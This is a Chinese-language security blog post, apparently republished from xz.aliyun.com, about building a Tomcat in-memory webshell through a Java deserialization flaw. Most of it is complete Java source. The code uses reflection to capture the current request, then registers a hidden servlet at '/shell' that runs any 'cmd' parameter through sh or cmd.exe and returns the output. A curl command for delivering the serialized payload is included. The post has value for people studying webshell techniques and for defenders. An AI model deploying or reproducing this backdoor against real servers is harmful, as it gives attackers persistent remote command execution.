Tomcat回显学习第一弹
2022-11-16 15:21:43 Author: xz.aliyun.com(查看原文) 阅读量:19 收藏

前言

在学习kingkk师傅的《Tomcat中一种半通用回显方法》一文中,找到了一个静态的存储了request and response的变量

我在使用该回显方式进行反序列化漏洞注入内存马实现过程中,踩坑不断,分享一下有哪些坑

细节

如何获取回显

在师傅文章中的描述中,他的想法是找到一个在request / response传递过程中,能够对request进行保存的一段代码点,如果能够我们能够获取到该变量,也即能够获取request对象,进行内存马的进一步注入

我们定位到了org.apache.catalina.core.ApplicationFilterChain类中

其存在有两个变量lastServicedRequest / lastServicedResponse

他们都是一个ThreadLocal类型

那么什么是一个ThreadLocal类型捏?

多线程访问同一个共享变量的时候容易出现并发问题,特别是多个线程对一个变量进行写入的时候,为了保证线程安全,一般使用者在访问共享变量的时候需要进行额外的同步措施才能保证线程安全性。ThreadLocal是除了加锁这种同步方式之外的一种保证一种规避多线程访问出现线程不安全的方法,当我们在创建一个变量后,如果每个线程对其进行访问的时候访问的都是线程自己的变量这样就不会存在线程不安全问题。

  ThreadLocal是JDK包提供的,它提供线程本地变量,如果创建一乐ThreadLocal变量,那么访问这个变量的每个线程都会有这个变量的一个副本,在实际多线程操作的时候,操作的是自己本地内存中的变量,从而规避了线程安全问题

也就是说获取的是本次请求的对应的request对象

在接受一个请求的时候,在处理这个请求的时候,首先会调用ApplicationFilterChain#internalDoFilter进行过滤器的调用

主要的逻辑如上图

在第一个if语句中,如果能够进入其中,将会执行lastServicedRequest.set(request); / lastServicedResponse.set(response)两条语句进行request / response的保存

我们可以调试一下,正常访问了一个资源,定位到该位置,是不会将request / response进行保存的

也即是因为ApplicationDispatcher类的WRAP_SAME_OBJECT属性值为false

所以我们的首要目的是将其置为true,我们可以通过强大的反射来实现这个目的

对于该属性,是一个static final修饰的属性,直接通过常见的反射赋值是不能够成功的

参见该文章,能够对该属性进行修改

所以我们首先通过反射修改属性值

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

初步构造回显内存马

环境搭建

我这里使用的是springboot 2.5.0直接进行搭建

其中接收反序列化漏洞的点为

开始构造

在设置了WRAP_SAME_OBJECT_FIELD属性为true之后,在第二次进行访问的时候将会将request / response进行保存,也即是不会进入if语句中

这里我们使用前面提到的Tomcat Servlet的内存马进行测试,前面实际上不算是真正意义上的内存马,因为前面对于获取request的步骤是直接使用的是,HttpServlet类的doPost方法中传入的HttpServletRequest对象

对于反序列化的方法进行内存马的注入是不能够成功的

这里,我将doPost中的逻辑放在else语句中,代表着在成功记录了request / response对象之后进行执行我们的注入内存马逻辑

对于request的获取,我们从lastServicedRequest属性中进行获取

ServletRequest servletRequest = lastServicedRequest.get()

完整的实现

static {
    try {
        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);

        ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
        if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
            lastServicedRequestField.set(null, new ThreadLocal<>());
            lastServicedResponseField.set(null, new ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
        } else {
            String name = "xxx";
            //从req中获取ServletContext对象
            // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
            ServletRequest servletRequest = lastServicedRequest.get();

            ServletContext servletContext = servletRequest.getServletContext();


            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new Servlet() {
                    @Override
                    public void init(ServletConfig servletConfig) throws ServletException {

                    }

                    @Override
                    public ServletConfig getServletConfig() {
                        return null;
                    }

                    @Override
                    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                        String cmd = servletRequest.getParameter("cmd");
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        PrintWriter out = servletResponse.getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }

                    @Override
                    public String getServletInfo() {
                        return null;
                    }

                    @Override
                    public void destroy() {

                    }
                };

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/shell", name);

            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}
}

开始注入

curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"

发送序列化数据

值得注意的是,这里需要发送两次序列化数据,因为第一次是用来修改属性值,第二次执行内存马注入逻辑

在发送第一次的时候

成功进入if语句保存了request域

在第二次发送序列化数据的时候

同样保存了本次请求的request对象

Boom!!在执行else语句中的逻辑中出错了

报错显示找不到Servlet这个类

重新构造回显内存马

开始构造

前面不能找到我们自定义创建的Servlet类,在我看来,应该是这里使用的是TemplateImpl链进行反序列化漏洞的利用,要求必须要实现AbstractTranslet类,才能进行加载,这里使用的是TemplatesImpl$TransletClassLoader.loadClass进行类的加载,或许是因为这个原因导致不能加载

纯属个人理解,如果说错了,希望能告知一声,感谢

所以我们直接在主类中实现servlet接口,将其也扩展为一个Servlet对象,这样就能够加载这个Servlet类了

完整的代码

public class TomcatMemshell extends AbstractTranslet implements Servlet{

    static {
        try {
            Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            // 去掉final修饰符,设置访问权限
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.setBoolean(null, true);
                lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
                lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            } else {
                String name = "xxx";
                //从req中获取ServletContext对象
                // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
                ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
                ServletRequest servletRequest = threadLocalReq.get();
                ServletResponse servletResponse = threadLocalResp.get();

                ServletContext servletContext = servletRequest.getServletContext();


                if (servletContext.getServletRegistration(name) == null) {
                    StandardContext o = null;

                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }

                    //自定义servlet
                    Servlet servlet = new TomcatMemshell();

                    //用Wrapper封装servlet
                    Wrapper newWrapper = o.createWrapper();
                    newWrapper.setName(name);
                    newWrapper.setLoadOnStartup(1);
                    newWrapper.setServlet(servlet);

                    //向children中添加Wrapper
                    o.addChild(newWrapper);
                    //添加servlet的映射
                    o.addServletMappingDecoded("/shell", name);

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

测试

发送第一次数据

成功修改

发送第二次数据

成功注入

查看效果

参考

https://www.cnblogs.com/noKing/p/9038234.html

https://xz.aliyun.com/t/7348


文章来源: https://xz.aliyun.com/t/11851
如有侵权请联系:admin#unsafe.sh